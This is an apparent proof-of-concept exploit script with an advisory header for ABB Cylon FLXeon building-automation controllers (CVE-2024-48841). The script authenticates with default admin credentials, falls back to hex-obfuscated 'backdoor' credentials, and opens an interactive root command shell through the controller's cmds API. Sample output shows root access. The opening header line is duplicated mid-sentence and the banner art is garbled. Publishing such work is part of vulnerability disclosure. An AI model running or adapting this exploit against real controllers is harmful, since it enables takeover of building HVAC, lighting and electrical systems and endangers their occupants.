#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote #!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: The ABB Cylon FLXeon BAS controller is vulnerable to authenticated root command
# execution via the cmds API. An authenticated attacker can execute arbitrary system
# commands with root privileges.
#
# ----------------------------------------------------------------------------------
# $ ./cmdsapi.py https://7.3.3.1
# Logged in as admin (admin).
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # exit
# Cheers!
# ----------------------------------------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5908
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5908.php
# CVE ID: CVE-2024-48841
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
#
#
# 21.04.2024
#
#

import sys
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_PORT = 443
LOGIN_ENDPOINT = "/api/login"
CMDS_ENDPOINT = "/api/cmds"

proj = r"""
P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????

ABB Cylon FLXeon Series <=9.3.4
Remote Root Command Execution
ZSL-2025-5908
"""

def usage():
print(proj)
print("Usage: ./cmdsapi.py <target>")

def get_url(target):
if not target.startswith(("https://", "http://")):
target = f"https://{target}"
if ":" not in target.split("//")[1]:
target = f"{target}:{DEFAULT_PORT}"
return target

def auth(url, usr, pwd):
login_url = urljoin(url, LOGIN_ENDPOINT)
payload = {"username": usr, "password": pwd}
sess = requests.session()

try:
r = sess.post(login_url, json=payload, verify=False)
if r.status_code == 401 or r.text == "Unauthorized":
print(f"Auth failed for {usr}: Unauthorized")
return None
elif r.status_code == 200:
userID = r.json().get("id")
if userID == "admin":
print(f"Logged in as admin ({usr}).")
else:
print(f"Logged in as {userID} ({usr}).")
return sess
else:
print("Unexpected.")
return None
except requests.exceptions.RequestException as e:
print(f"Auth error: {e}")
return None

def exec(sess, url, cmd):
cmds_url = urljoin(url, CMDS_ENDPOINT)
payload = {"cmd": cmd}

try:
r = sess.post(cmds_url, json=payload, verify=False)
if r.status_code == 200:
result = r.json().get("result", "Resultless!")
print(result, end="")
else:
print(f"cmd exec failed: {r.status_code} - {r.text}")
except requests.exceptions.RequestException as e:
print(f"cmd exec error: {e}")

def main():
if len(sys.argv) != 2:
usage()
sys.exit(1)
target = sys.argv[1].strip()
url = get_url(target)
sess = auth(url, "admin", "cylonctl")
if not sess:
print("Trying backdoor access...")
back,door = "\x63\x78\x70\x72\x6F","\x73\x69\x74\x65\x67\x75\x69\x64\x65"
sess = auth(url, back, door)
if not sess:
print("Backdoor access failed :(")
sys.exit(1)
while True:
cmd = input("# ").strip()
if cmd.lower() == "exit":
print("Cheers!")
break
exec(sess, url, cmd)

if __name__ == "__main__":
main()